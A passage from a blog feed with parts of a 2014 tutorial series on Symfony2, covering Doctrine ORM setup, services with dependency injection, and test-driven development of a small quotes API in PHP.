<p>Just like Symfony, Doctrine is composed of many libraries which can be used
separately. The two main ones are:</p>

<ul>
<li>the DataBase Abstraction Layer (DBAL), provides a unique API for many database
vendors (MySQL, PostgreSQL, Oracle, etc)</li>
<li>the Object Relation Mapping (ORM), provides an object oriented way to depict
the data (which are usually relational)</li>
</ul>

<p>DoctrineBundle registers the library's services into our Dependency Injection
Container. It can be installed quickly:</p>

<pre><code>composer require 'doctrine/doctrine-bundle:~1.2'
</code></pre>

<p>The bundle doesn't force you to use the ORM (you can simply use the DBAL), so we
need to explicitly install it:</p>

<pre><code>composer require 'doctrine/orm:~2.2,&gt;=2.2.3'
</code></pre>

<p>The bundle has to be registered in our application:</p>

<pre><code>&lt;?php
// File: app/AppKernel.php

use Symfony\Component\HttpKernel\Kernel;
use Symfony\Component\Config\Loader\LoaderInterface;

class AppKernel extends Kernel
{
    public function registerBundles()
    {
        return array(
            new Symfony\Bundle\FrameworkBundle\FrameworkBundle(),
            new Fortune\ApplicationBundle\FortuneApplicationBundle(),
            new Doctrine\Bundle\DoctrineBundle\DoctrineBundle(),
        );
    }

    public function registerContainerConfiguration(LoaderInterface $loader)
    {
        $loader-&gt;load(__DIR__.'/config/config_'.$this-&gt;getEnvironment().'.yml');
    }
}
</code></pre>

<p>Its services depend on some configuration parameters, which we will add:</p>

<pre><code># File: app/config/config.yml
imports:
    - { resource: parameters.yml }
    - { resource: doctrine.yml }

framework:
    secret: %secret%
    router:
        resource: %kernel.root_dir%/config/routing.yml
</code></pre>

<p>Next we create the actual configuration:</p>

<pre><code># File: app/config/doctrine.yml
doctrine:
    dbal:
        driver: pdo_mysql
        host: 127.0.0.1
        port: ~
        dbname: %database_name%
        user: %database_user%
        password: %database_password%
        charset: UTF8

    orm:
        auto_generate_proxy_classes: %kernel.debug%
        auto_mapping: true
</code></pre>

<p><strong>Note</strong>: the <code>~</code> value is equivalent to <code>null</code> in PHP.</p>

<p>The values surrounded by <code>%</code> will be replaced by parameters coming from the DIC.
For example, <code>kernel.debug</code> is set by the FrameworkBundle. We'll set the values
of the database ones in the following file:</p>

<pre><code># File: app/config/parameters.yml
parameters:
    secret: hazuZRqYGdRrL8ATdB8kAqBZ

    database_name: fortune
    database_user: root
    database_password: ~
</code></pre>

<p>For security reason, this file is not commited. You can update the distributed
file though, so your team will know that they need to set a value:</p>

<pre><code># File: app/config/parameters.yml.dist
parameters:
    secret: ChangeMePlease

    database_name: fortune
    database_user: root
    database_password: ~
</code></pre>

<h2 id="configuring-the-schema">Configuring the schema</h2>

<p>The first thing we need is to define the schema (tables with their fields), so
we'll create this directory:</p>

<pre><code>mkdir src/Fortune/ApplicationBundle/Resources/config/doctrine
</code></pre>

<p>And then the configuration file for the <code>Quote</code> entity:</p>

<pre><code># src/Fortune/ApplicationBundle/Resources/config/doctrine/Quote.orm.yml
Fortune\ApplicationBundle\Entity\Quote:
    type: entity
    repositoryClass: Fortune\ApplicationBundle\Entity\QuoteGateway
    table: quote
    id:
        id:
            type: integer
            generator:
                strategy: AUTO
    fields:
        content:
            type: text
        createdAt:
            type: datetime
            column: created_at
</code></pre>

<p><strong>Note</strong>: Doctrine uses the word "Repository" with a different meaning than the
Repository design pattern (the one with gateway and factory). In our case it
corresponds to the gateway.</p>

<p>As you can see, we've added a <code>createdAt</code> attribute to our entity. Let's update
its code:</p>

<pre><code>&lt;?php
// File: src/Fortune/ApplicationBundle/Entity/Quote.php

namespace Fortune\ApplicationBundle\Entity;

class Quote
{
    private $id;
    private $content;
    private $createdAt;

    public function __construct($id, $content)
    {
        $this-&gt;id = $id;
        $this-&gt;content = $content;
        $this-&gt;createdAt = new \DateTime();
    }

    public static function fromContent($content)
    {
        return new Quote(null, $content);
    }

    public function getId()
    {
        return $this-&gt;id;
    }

    public function getContent()
    {
        return $this-&gt;content;
    }

    public function getCreatedAt()
    {
        return $this-&gt;createdAt;
    }
}
</code></pre>

<p><strong>Note</strong>: We've added <a href="http://verraes.net/2014/06/named-constructors-in-php/">a named constructor</a>
which will prove usefull with the gateway.</p>

<h2 id="creating-the-console">Creating the console</h2>

<p>Symfony2 provides a powerful <a href="http://symfony.com/doc/current/components/console/introduction.html">Console Component</a>
allowing you to create command line utilities. It can be used standalone, or
in the full stack framework thanks to the FrameworkBundle. To create the
console, we just need to create the following file:</p>

<pre><code>#!/usr/bin/env php
&lt;?php
// File: app/console

set_time_limit(0);

require_once __DIR__.'/../vendor/autoload.php';
require_once __DIR__.'/AppKernel.php';

use Symfony\Bundle\FrameworkBundle\Console\Application;
use Symfony\Component\Console\Input\ArgvInput;

$input = new ArgvInput();
$kernel = new AppKernel('dev', true);
$application = new Application($kernel);
$application-&gt;run($input);
</code></pre>

<p>The object <code>ArgvInput</code> contains the input given by the user (command name,
arguments and options). Bundles can register commands in the application by
fetching them from their <code>Command</code> directory.</p>

<p>We can now create the database and schema easily:</p>

<pre><code>php app/console doctrine:database:create
php app/console doctrine:schema:create
</code></pre>

<p><strong>Note</strong>: Those are useful when developing the application, but shouldn't be used in
production.</p>

<p><strong>Note</strong>: If you want to learn more about the Symfony2 Console Component,
<a href="/2014/04/09/sf2-console-component-by-example.html">you can read this article</a>.</p>

<h2 id="adapting-the-gateway">Adapting the Gateway</h2>

<p>Until now, our <code>QuoteGateway</code> was saving and retrieving the quotes from a file.
We'll update it to be a Doctrine Repository:</p>

<pre><code>&lt;?php
// File: src/Fortune/ApplicationBundle/Entity/QuoteGateway.php

namespace Fortune\ApplicationBundle\Entity;

use Doctrine\ORM\EntityRepository;

class QuoteGateway extends EntityRepository
{
    public function insert($content)
    {
        $entityManager = $this-&gt;getEntityManager();

        $quote = Quote::fromContent($content);
        $entityManager-&gt;persist($quote);
        $entityManager-&gt;flush();

        return $quote;
    }
}
</code></pre>

<p>The <code>EntityManager</code> object does the actual persistence and will set the quote's
ID. The <code>EntityRepository</code> already has a <code>findAll</code> method, so we can remove it.</p>

<p>The last thing we need is to update the DIC's configuration:</p>

<pre><code>&lt;?xml version="1.0" ?&gt;
&lt;!-- File: src/Fortune/ApplicationBundle/Resources/config/services.xml --&gt;

&lt;container xmlns="http://symfony.com/schema/dic/services"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://symfony.com/schema/dic/services http://symfony.com/schema/dic/services/services-1.0.xsd"&gt;
    &lt;services&gt;
        &lt;service id="fortune_application.quote_factory"
            class="Fortune\ApplicationBundle\Entity\QuoteFactory"
        &gt;
        &lt;/service&gt;
        &lt;service id="fortune_application.quote_gateway"
            class="Fortune\ApplicationBundle\Entity\QuoteGateway"
            factory-service="doctrine"
            factory-method="getRepository"&gt;
            &lt;argument&gt;FortuneApplicationBundle:Quote&lt;/argument&gt;
        &lt;/service&gt;
        &lt;service id="fortune_application.quote_repository"
            class="Fortune\ApplicationBundle\Entity\QuoteRepository"
        &gt;
            &lt;argument type="service" id="fortune_application.quote_gateway" /&gt;
            &lt;argument type="service" id="fortune_application.quote_factory" /&gt;
        &lt;/service&gt;
    &lt;/services&gt;
&lt;/container&gt;
</code></pre>

<p>The <code>doctrine</code> service manages the Doctrine Repositories. To manually get a
repository you'd need to do somethig like
<code>$container-&gt;get('doctrine')-&gt;getRepository('FortuneApplicationBundle:QuoteGateway')</code>,
the <code>factory-service</code> and <code>factory-method</code> attributes allow us to simply call
container->get('fortune_application.quote_gateway')`.</p>

<h2 id="mocking-the-database">Mocking the database</h2>

<p>Database operations can be slow however we want our tests to run as fast as
possible: <a href="http://blog.8thlight.com/uncle-bob/2014/05/10/WhenToMock.html">this is a good opportunity to use a test double</a>.</p>

<p>PHPUnit comes with its own mocking library, but we'll use a less verbose and
more one: <a href="https://github.com/phpspec/prophecy">Prophecy</a>. First we install
the PHPUnit integration of Prophecy:</p>

<pre><code>composer require --dev 'phpspec/prophecy-phpunit:~1.0'
</code></pre>

<p>Then we update our test:</p>

<pre><code>&lt;?php
// File: src/Fortune/ApplicationBundle/Tests/Entity/QuoteRepositoryTest.php

namespace Fortune\ApplicationBundle\Tests\Entity;

use Fortune\ApplicationBundle\Entity\Quote;
use Fortune\ApplicationBundle\Entity\QuoteFactory;
use Fortune\ApplicationBundle\Entity\QuoteGateway;
use Fortune\ApplicationBundle\Entity\QuoteRepository;
use Prophecy\PhpUnit\ProphecyTestCase;

class QuoteRepositoryTest extends ProphecyTestCase
{
    const ID = 42;
    const CONTENT = '&lt;KnightOfNi&gt; Ni!';

    private $gateway;
    private $repository;

    public function setUp()
    {
        parent::setUp();
        $gatewayClassname = 'Fortune\ApplicationBundle\Entity\QuoteGateway';
        $this-&gt;gateway = $this-&gt;prophesize($gatewayClassname);
        $factory = new QuoteFactory();
        $this-&gt;repository = new QuoteRepository($this-&gt;gateway-&gt;reveal(), $factory);
    }

    public function testItPersistsTheQuote()
    {
        $quote = new Quote(self::ID, self::CONTENT);
        $this-&gt;gateway-&gt;insert(self::CONTENT)-&gt;willReturn($quote);
        $this-&gt;repository-&gt;insert(self::CONTENT);

        $this-&gt;gateway-&gt;findAll()-&gt;willReturn(array($quote));
        $quotes = $this-&gt;repository-&gt;findAll();
        $foundQuote = $quotes['quotes'][self::ID];

        $this-&gt;assertSame(self::CONTENT, $foundQuote['content']);
    }
}
</code></pre>

<p>We created a mock of <code>QuoteGateway</code> which returns a quote we created beforehand.</p>

<p>Our changes are finished, let's run the tests:</p>

<pre><code>./vendor/bin/phpunit -c app
</code></pre>

<p>No regression detected! We can commit our work:</p>

<pre><code>git add -A
git ci -m 'Added doctrine'
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>Doctrine allows us to persist the data, its bundle integrates it smoothly into
our application and provides us with handy command line tools.</p>

<p>You can have a look at <a href="http://docs.doctrine-project.org/projects/doctrine-migrations/en/latest/reference/introduction.html">Doctrine Migration</a>,
a standalone library allowing you to deploy database changes, it even has
<a href="http://symfony.com/doc/current/bundles/DoctrineMigrationsBundle/index.html">a bundle</a>.</p>

<p>In the next article, we'll talk about how to extend the framework using events.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Master Symfony2 - part 3: Services]]></title>
            <link href="/2014/08/22/master-sf2-part-3-services.html"/>
            <updated>2014-08-22T00:00:00+01:00</updated>
            <id>/2014/08/22/master-sf2-part-3-services.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Deprecated</strong>: This series has been re-written - see
  <a href="/2016/02/03/ultimate-symfony-http-kernel.html">The Ultimate Developer Guide to Symfony</a></p>
</blockquote>

<p>This is the third article of the series on mastering the
<a href="http://symfony.com/">Symfony2</a> framework. Have a look at the two first ones:</p>

<ul>
<li><a href="/2014/08/05/master-sf2-part-1-bootstraping.html">1: Bootstraping</a></li>
<li><a href="/2014/08/13/master-sf2-part-2-tdd.html">2: TDD</a></li>
</ul>

<p>In the previous articles we created an API allowing us to submit new quotes:</p>

<pre><code>.
├── app
│   ├── AppKernel.php
│   ├── cache
│   │   └── .gitkeep
│   ├── config
│   │   ├── config_prod.yml
│   │   ├── config_test.yml
│   │   ├── config.yml
│   │   ├── parameters.yml
│   │   ├── parameters.yml.dist
│   │   └── routing.yml
│   ├── logs
│   │   └── .gitkeep
│   └── phpunit.xml.dist
├── composer.json
├── composer.lock
├── src
│   └── Fortune
│       └── ApplicationBundle
│           ├── Controller
│           │   └── QuoteController.php
│           ├── FortuneApplicationBundle.php
│           └── Tests
│               └── Controller
│                   └── QuoteControllerTest.php
└── web
    └── app.php
</code></pre>

<p>Here's the <a href="https://github.com/gnugat/mastering-symfony2">repository where you can find the actual code</a>.</p>

<p>In this one we'll list the existing quotes and learn about entities, services,
the repository design pattern and dependency injection.</p>

<h2 id="defining-the-second-user-story">Defining the second User Story</h2>

<p>By the time we finished to implement the first User Story, Nostradamus (our
customer and product owner) wrote the second one:</p>

<pre><code>As a User
I want to be able to read the available quotes
In order to find interesting ones
</code></pre>

<p>Currently we don't persist our quotes, but now we will need to. However I'd like
to dedicate a separate article to database persistence, so we will save our
quotes in a file and concentrate on services.</p>

<h2 id="the-quote-entity">The quote entity</h2>

<p>Until now we wrote our code in the controller and it was ok, as there wasn't
much code. But now our application will grow, so we need to put the code
elsewhere: in the services.</p>

<p>Basically a service is just a class which does one thing (and does it well).
They are stateless, which means that calling a method many times with the same
parameter should always return the same value.</p>

<p>They manipulate entities which are classes representing the data. Those don't
have any behavior. Let's create the <code>Entity</code> directory:</p>

<pre><code>mkdir src/Fortune/ApplicationBundle/Entity
</code></pre>

<p>And now we'll write the <code>Quote</code> entity:</p>

<pre><code>&lt;?php
// File: src/Fortune/ApplicationBundle/Entity/Quote.php

namespace Fortune\ApplicationBundle\Entity;

class Quote
{
    private $id;
    private $content;

    public function __construct($id, $content)
    {
        $this-&gt;id = $id;
        $this-&gt;content = $content;
    }

    public function getId()
    {
        return $this-&gt;id;
    }

    public function getContent()
    {
        return $this-&gt;content;
    }
}
</code></pre>

<p>There's no need to write a unit test for it: it doesn't contain any logic. The
tests of its services (which manipulate it) will be enough.</p>

<h2 id="the-repository-service">The repository service</h2>

<p>We'll create a persistence service which will follow the
<a href="http://code.tutsplus.com/tutorials/the-repository-design-pattern--net-35804">Repository design pattern</a>:
the repository calls a gateway to retreive some raw data and transforms it using
a factory.</p>

<p>Before creating it, we will write a unit test which will help us to specify how
it should work. Here's its directory:</p>

<pre><code>mkdir src/Fortune/ApplicationBundle/Tests/Entity
</code></pre>

<p>And its code:</p>

<pre><code>&lt;?php
// File: src/Fortune/ApplicationBundle/Tests/Entity/QuoteRepositoryTest.php

namespace Fortune\ApplicationBundle\Tests\Entity;

use Fortune\ApplicationBundle\Entity\QuoteFactory;
use Fortune\ApplicationBundle\Entity\QuoteGateway;
use Fortune\ApplicationBundle\Entity\QuoteRepository;

class QuoteRepositoryTest extends \PHPUnit_Framework_TestCase
{
    const CONTENT = '&lt;KnightOfNi&gt; Ni!';

    private $repository;

    public function setUp()
    {
        $filename = '/tmp/fortune_database_test.txt';
        $gateway = new QuoteGateway($filename);
        $factory = new QuoteFactory();
        $this-&gt;repository = new QuoteRepository($gateway, $factory);
    }

    public function testItPersistsTheQuote()
    {
        $quote = $this-&gt;repository-&gt;insert(self::CONTENT);
        $id = $quote['quote']['id'];
        $quotes = $this-&gt;repository-&gt;findAll();
        $foundQuote = $quotes['quotes'][$id];

        $this-&gt;assertSame(self::CONTENT, $foundQuote['content']);
    }
}
</code></pre>

<p>Now we can create the class which should make the test pass:</p>

<pre><code>&lt;?php
// File: src/Fortune/ApplicationBundle/Entity/QuoteRepository.php

namespace Fortune\ApplicationBundle\Entity;

class QuoteRepository
{
    private $gateway;
    private $factory;

    public function __construct(QuoteGateway $gateway, QuoteFactory $factory)
    {
        $this-&gt;gateway = $gateway;
        $this-&gt;factory = $factory;
    }

    public function insert($content)
    {
        $quote = $this-&gt;gateway-&gt;insert($content);

        return $this-&gt;factory-&gt;makeOne($quote);
    }

    public function findAll()
    {
        $quotes = $this-&gt;gateway-&gt;findAll();

        return $this-&gt;factory-&gt;makeAll($quotes);
    }
}
</code></pre>

<p>See what we've done in the constructor? That's dependency injection (passing
arguments on which the class relies).</p>

<p><strong>Note</strong>: for more information about the Dependency Injection,
<a href="/2014/01/22/ioc-di-and-service-locator.html">you can read this article</a>.</p>

<h3 id="the-gateway-service">The gateway service</h3>

<p>The gateway is the class where the actual persistence is done:</p>

<pre><code>&lt;?php
// File: src/Fortune/ApplicationBundle/Entity/QuoteGateway.php

namespace Fortune\ApplicationBundle\Entity;

class QuoteGateway
{
    private $filename;

    public function __construct($filename)
    {
        $this-&gt;filename = $filename;
    }

    public function insert($content)
    {
        $content = trim($content);
        $line = $content."\n";
        file_put_contents($this-&gt;filename, $line, FILE_APPEND);
        $lines = file($this-&gt;filename);
        $lineNumber = count($lines) - 1;

        return new Quote($lineNumber, $content);
    }

    public function findAll()
    {
        $contents = file($this-&gt;filename);
        foreach ($contents as $id =&gt; $content) {
            $quotes[$id] = new Quote($id, trim($content));
        }

        return $quotes;
    }
}
</code></pre>

<p>Wait a minute, we didn't write any test for this class! Well, that's because
<code>QuoteRepositoryTest</code> already covers it.</p>

<h2 id="the-factory-service">The factory service</h2>

<p>The factroy converts the object returned by the gateway to something usable by
the controller (a JSONable array):</p>

<pre><code>&lt;?php
// File: src/Fortune/ApplicationBundle/Entity/QuoteFactory.php

namespace Fortune\ApplicationBundle\Entity;

class QuoteFactory
{
    public function makeOne(Quote $rawQuote)
    {
        return array('quote' =&gt; $this-&gt;make($rawQuote));
    }

    public function makeAll(array $rawQuotes)
    {
        foreach ($rawQuotes as $rawQuote) {
            $quotes['quotes'][$rawQuote-&gt;getId()] = $this-&gt;make($rawQuote);
        }

        return $quotes;
    }

    private function make(Quote $rawQuote)
    {
        return array(
            'id' =&gt; $rawQuote-&gt;getId(),
            'content' =&gt; $rawQuote-&gt;getContent(),
        );
    }
}
</code></pre>

<p>No unit test for this factory: the one for the repository already covers it.
Now that the code is written, we can check that the test pass:</p>

<pre><code>./vendor/bin/phpunit -c app
</code></pre>

<h2 id="using-the-service-in-the-controller">Using the service in the controller</h2>

<p>The controller responsibility is to retrieve the parameters from the request,
inject them in a service and then use its return value to create a response.
We won't construct directly the <code>QuoteRepository</code> service in the controller:
Symfony2 comes with a <a href="http://symfony.com/doc/current/components/dependency_injection/introduction.html">Dependency Injection Container</a> (DIC).
In a nutshell when you ask the container a service, it will construct it for
you.</p>

<p>The first thing we need is to prepare the bundle by creating the following
directories:</p>

<pre><code>mkdir src/Fortune/ApplicationBundle/DependencyInjection
mkdir -p src/Fortune/ApplicationBundle/Resources/config
</code></pre>

<p>Then we need to create a class which will load the bundle's services into the
DIC:</p>

<pre><code>&lt;?php
// File: src/Fortune/ApplicationBundle/DependencyInjection/FortuneApplicationExtension.php

namespace Fortune\ApplicationBundle\DependencyInjection;

use Symfony\Component\DependencyInjection\ContainerBuilder;
use Symfony\Component\Config\FileLocator;
use Symfony\Component\HttpKernel\DependencyInjection\Extension;
use Symfony\Component\DependencyInjection\Loader\XmlFileLoader;

class FortuneApplicationExtension extends Extension
{
    public function load(array $configs, ContainerBuilder $container)
    {
        $fileLocator = new FileLocator(__DIR__.'/../Resources/config');
        $loader = new XmlFileLoader($container, $fileLocator);

        $loader-&gt;load('services.xml');
    }
}
</code></pre>

<p>As you can see, we told the extension to look for a configuration file. Here it
is:</p>

<pre><code>&lt;?xml version="1.0" ?&gt;
&lt;!-- File: src/Fortune/ApplicationBundle/Resources/config/services.xml --&gt;

&lt;container xmlns="http://symfony.com/schema/dic/services"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://symfony.com/schema/dic/services http://symfony.com/schema/dic/services/services-1.0.xsd"&gt;
    &lt;services&gt;
        &lt;service id="fortune_application.quote_factory"
            class="Fortune\ApplicationBundle\Entity\QuoteFactory"
        &gt;
        &lt;/service&gt;
        &lt;service id="fortune_application.quote_gateway"
            class="Fortune\ApplicationBundle\Entity\QuoteGateway"
        &gt;
            &lt;argument&gt;/tmp/fortune_database.txt&lt;/argument&gt;
        &lt;/service&gt;
        &lt;service id="fortune_application.quote_repository"
            class="Fortune\ApplicationBundle\Entity\QuoteRepository"
        &gt;
            &lt;argument type="service" id="fortune_application.quote_gateway" /&gt;
            &lt;argument type="service" id="fortune_application.quote_factory" /&gt;
        &lt;/service&gt;
    &lt;/services&gt;
&lt;/container&gt;
</code></pre>

<p>Now <code>QuoteRepository</code> is available in the controller:</p>

<pre><code>&lt;?php
// File: src/Fortune/ApplicationBundle/Controller/QuoteController.php

namespace Fortune\ApplicationBundle\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\JsonResponse;

class QuoteController extends Controller
{
    public function submitAction(Request $request)
    {
        $postedContent = $request-&gt;getContent();
        $postedValues = json_decode($postedContent, true);
        if (empty($postedValues['content'])) {
            $answer = array('message' =&gt; 'Missing required parameter: content');

            return new JsonResponse($answer, Response::HTTP_UNPROCESSABLE_ENTITY);
        }
        $quoteRepository = $this-&gt;container-&gt;get('fortune_application.quote_repository');
        $quote = $quoteRepository-&gt;insert($postedValues['content']);

        return new JsonResponse($quote, Response::HTTP_CREATED);
    }
}
</code></pre>

<p>We can now make sure that everything is fine by running the tests:</p>

<pre><code>./vendor/bin/phpunit -c app
</code></pre>

<p><strong>Note</strong>: for more information about Symfony2 Dependency Injection Component
<a href="/2014/01/29/sf2-di-component-by-example.html">you can read this article</a>.</p>

<h2 id="listing-quotes">Listing quotes</h2>

<p>It's now time to fulfill the second user story, starting with a functional test:</p>

<pre><code>&lt;?php
// File: src/Fortune/ApplicationBundle/Tests/Controller/QuoteControllerTest.php

namespace Fortune\ApplicationBundle\Tests\Controller;

use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
use Symfony\Component\HttpFoundation\Response;

class QuoteControllerTest extends WebTestCase
{
    private function post($uri, array $data)
    {
        $headers = array('CONTENT_TYPE' =&gt; 'application/json');
        $content = json_encode($data);
        $client = static::createClient();
        $client-&gt;request('POST', $uri, array(), array(), $headers, $content);

        return $client-&gt;getResponse();
    }

    private function get($uri)
    {
        $headers = array('CONTENT_TYPE' =&gt; 'application/json');
        $client = static::createClient();
        $client-&gt;request('GET', $uri, array(), array(), $headers);

        return $client-&gt;getResponse();
    }

    public function testSubmitNewQuote()
    {
        $response = $this-&gt;post('/api/quotes', array('content' =&gt; '&lt;KnightOfNi&gt; Ni!'));

        $this-&gt;assertSame(Response::HTTP_CREATED, $response-&gt;getStatusCode());
    }

    public function testSubmitEmptyQuote()
    {
        $response = $this-&gt;post('/api/quotes', array('content' =&gt; ''));

        $this-&gt;assertSame(Response::HTTP_UNPROCESSABLE_ENTITY, $response-&gt;getStatusCode());
    }

    public function testSubmitNoQuote()
    {
        $response = $this-&gt;post('/api/quotes', array());

        $this-&gt;assertSame(Response::HTTP_UNPROCESSABLE_ENTITY, $response-&gt;getStatusCode());
    }

    public function testListingAllQuotes()
    {
        $response = $this-&gt;get('/api/quotes');

        $this-&gt;assertSame(Response::HTTP_OK, $response-&gt;getStatusCode());
    }
}
</code></pre>

<p>The next step is to update the configuration:</p>

<pre><code># File: app/config/routing.yml
submit_quote:
    path: /api/quotes
    methods:
        - POST
    defaults:
        _controller: FortuneApplicationBundle:Quote:submit

list_quotes:
    path: /api/quotes
    methods:
        - GET
    defaults:
        _controller: FortuneApplicationBundle:Quote:list
</code></pre>

<p>Then we write the action:</p>

<pre><code>&lt;?php
// File: src/Fortune/ApplicationBundle/Controller/QuoteController.php

namespace Fortune\ApplicationBundle\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\JsonResponse;

class QuoteController extends Controller
{
    public function submitAction(Request $request)
    {
        $quoteRepository = $this-&gt;container-&gt;get('fortune_application.quote_repository');
        $postedContent = $request-&gt;getContent();
        $postedValues = json_decode($postedContent, true);

        if (empty($postedValues['content'])) {
            $answer = array('message' =&gt; 'Missing required parameter: content');

            return new JsonResponse($answer, Response::HTTP_UNPROCESSABLE_ENTITY);
        }
        $quote = $quoteRepository-&gt;insert($postedValues['content']);

        return new JsonResponse($quote, Response::HTTP_CREATED);
    }

    public function listAction(Request $request)
    {
        $quoteRepository = $this-&gt;container-&gt;get('fortune_application.quote_repository');
        $quotes = $quoteRepository-&gt;findAll();

        return new JsonResponse($quotes, Response::HTTP_OK);
    }
}
</code></pre>

<p>And finally we run the tests:</p>

<pre><code>./vendor/bin/phpunit -c app
</code></pre>

<p>Everything is fine, we can commit:</p>

<pre><code>git add -A
git ci -m 'Added listing of quotes'
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>Services is where the logic should be. Those manipulate entities, which carry
the data. We used the repository design pattern which is very handy for APIs:
it calls a gateway which retrieves raw data and then convert it using a factory,
so the controller only needs to comunicate with the repository. Finally, we saw
that "Dependency Injection" is just a fancy term for "passing arguments".</p>

<p>In the next article, we'll learn use database persistence, using
<a href="http://www.doctrine-project.org/projects/orm.html">Doctrine2 ORM</a>.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Master Symfony2 - part 2: Test Driven Development]]></title>
            <link href="/2014/08/13/master-sf2-part-2-tdd.html"/>
            <updated>2014-08-13T00:00:00+01:00</updated>
            <id>/2014/08/13/master-sf2-part-2-tdd.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Deprecated</strong>: This series has been re-written - see
  <a href="/2016/02/03/ultimate-symfony-http-kernel.html">The Ultimate Developer Guide to Symfony</a></p>
</blockquote>

<p>This is the second article of the series on mastering the
<a href="http://symfony.com/">Symfony2</a> framework. Have a look at the first one:
<a href="/2014/08/05/master-sf2-part-1-bootstraping.html">Bootstraping</a>.</p>

<p>In the first article we bootstraped our project with the following files:</p>

<pre><code>.
├── app
│   ├── AppKernel.php
│   ├── cache
│   │   └── .gitkeep
│   ├── config
│   │   ├── config_prod.yml
│   │   ├── config_test.yml
│   │   ├── config.yml
│   │   ├── parameters.yml.dist
│   │   └── routing.yml
│   ├── logs
│   │   └── .gitkeep
│   └── phpunit.xml.dist
├── composer.json
├── composer.lock
├── src
│   └── Fortune
│       └── ApplicationBundle
│           └── FortuneApplicationBundle.php
└── web
    └── app.php
</code></pre>

<p>Here's the <a href="https://github.com/gnugat/mastering-symfony2">repository where you can find the actual code</a>.</p>

<p>In this one we'll implement the first User Story, by writing tests first.</p>

<p><strong>Note</strong>: writing tests before writing any code is part of the
<a href="/2014/02/19/test-driven-development.html">Test Driven Development (TDD) methodology</a>.</p>

<h2 id="defining-the-user-story">Defining the User Story</h2>

<p>With the help of our Scrum Master, our Product Owner (Nostradamus) managed to
write the following user story:</p>

<pre><code>As a User
I want to be able to submit a new quote
In order to make it available
</code></pre>

<h2 id="writing-the-test">Writing the test</h2>

<p>Our first reflex will be to write a functional test. First create the directory:</p>

<pre><code>mkdir -p src/Fortune/ApplicationBundle/Tests/Controller
</code></pre>

<p>Then the test class:</p>

<pre><code>&lt;?php
// File: src/Fortune/ApplicationBundle/Tests/Controller/QuoteControllerTest.php

namespace Fortune\ApplicationBundle\Tests\Controller;

use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
use Symfony\Component\HttpFoundation\Response;

class QuoteControllerTest extends WebTestCase
{
    private function post($uri, array $data)
    {
        $headers = array('CONTENT_TYPE' =&gt; 'application/json');
        $content = json_encode($data);
        $client = static::createClient();
        $client-&gt;request('POST', $uri, array(), array(), $headers, $content);

        return $client-&gt;getResponse();
    }

    public function testSubmitNewQuote()
    {
        $response = $this-&gt;post('/api/quotes', array('content' =&gt; '&lt;KnightOfNi&gt; Ni!'));

        $this-&gt;assertSame(Response::HTTP_CREATED, $response-&gt;getStatusCode());
    }
}
</code></pre>

<h2 id="configuring-the-route">Configuring the route</h2>

<p>Now we need to link the <code>/quotes</code> URL to a controller, so let's edit the
configuration:</p>

<pre><code># File: app/config/routing.yml
submit_quote:
    path: /api/quotes
    methods:
        - POST
    defaults:
        _controller: FortuneApplicationBundle:Quote:submit
</code></pre>

<h2 id="creating-the-controller">Creating the controller</h2>

<p>There wasn't any controllers until now, so we create the directory:</p>

<pre><code>mkdir src/Fortune/ApplicationBundle/Controller
</code></pre>

<p>And finally the controller class:</p>

<pre><code>&lt;?php
// File: src/Fortune/ApplicationBundle/Controller/QuoteController.php

namespace Fortune\ApplicationBundle\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\JsonResponse;

class QuoteController extends Controller
{
    public function submitAction(Request $request)
    {
        $postedContent = $request-&gt;getContent();
        $postedValues = json_decode($postedContent, true);

        $answer['quote']['content'] = $postedValues['content'];

        return new JsonResponse($answer, Response::HTTP_CREATED);
    }
}
</code></pre>

<p>Now let's run our tests:</p>

<pre><code>./vendor/bin/phpunit -c app
</code></pre>

<p><a href="https://www.youtube.com/watch?v=lFeLDc2CzOs">All green</a>! This makes us
confident enough to commit our work:</p>

<pre><code>git add -A
git commit -m 'Created submission of quotes'
</code></pre>

<h2 id="testing-bad-cases">Testing bad cases</h2>

<p>The submitted content shouldn't be empty. Let's add a test for the bad cases:</p>

<pre><code>&lt;?php
// File: src/Fortune/ApplicationBundle/Tests/Controller/QuoteControllerTest.php

namespace Fortune\ApplicationBundle\Tests\Controller;

use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
use Symfony\Component\HttpFoundation\Response;

class QuoteControllerTest extends WebTestCase
{
    private function post($uri, array $data)
    {
        $headers = array('CONTENT_TYPE' =&gt; 'application/json');
        $content = json_encode($data);
        $client = static::createClient();
        $client-&gt;request('POST', $uri, array(), array(), $headers, $content);

        return $client-&gt;getResponse();
    }

    public function testSubmitNewQuote()
    {
        $response = $this-&gt;post('/api/quotes', array('content' =&gt; '&lt;KnightOfNi&gt; Ni!'));

        $this-&gt;assertSame(Response::HTTP_CREATED, $response-&gt;getStatusCode());
    }

    public function testSubmitEmptyQuote()
    {
        $response = $this-&gt;post('/api/quotes', array('content' =&gt; ''));

        $this-&gt;assertSame(Response::HTTP_UNPROCESSABLE_ENTITY, $response-&gt;getStatusCode());
    }

    public function testSubmitNoQuote()
    {
        $response = $this-&gt;post('/api/quotes', array());

        $this-&gt;assertSame(Response::HTTP_UNPROCESSABLE_ENTITY, $response-&gt;getStatusCode());
    }
}
</code></pre>

<h2 id="checking-bad-cases">Checking bad cases</h2>

<p>Now let's fix the new tests:</p>

<pre><code>&lt;?php
// File: src/Fortune/ApplicationBundle/Controller/QuoteController.php

